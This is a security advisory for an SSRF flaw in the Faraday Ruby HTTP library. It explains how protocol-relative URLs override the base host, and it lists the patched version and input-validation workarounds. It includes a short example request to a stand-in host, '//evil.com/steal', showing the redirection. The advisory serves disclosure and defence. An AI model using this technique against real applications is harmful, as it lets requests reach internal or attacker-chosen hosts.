Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
```ruby
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
```
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
```ruby
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
```
